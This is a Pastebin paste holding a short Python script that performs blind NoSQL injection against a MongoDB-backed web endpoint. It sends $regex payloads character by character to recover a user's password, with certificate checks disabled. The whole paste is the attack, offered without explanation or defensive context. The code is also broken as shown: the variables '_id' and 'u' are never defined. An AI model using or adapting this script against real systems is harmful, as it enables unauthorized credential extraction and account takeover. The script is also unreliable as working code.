Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import requests
- import urllib3
- import string
- import urllib
- urllib3.disable_warnings()
- username="admin"
- password=""
- while True:
- for c in string.printable:
- if c not in ['*','+','.','?','|']:
- payload='{"_id": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (_id, password + c)
- r = requests.post(u, data = {'ids': payload}, verify = False)
- if 'OK' in r.text:
- print("Found one more char : %s" % (password+c))
- password += c
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement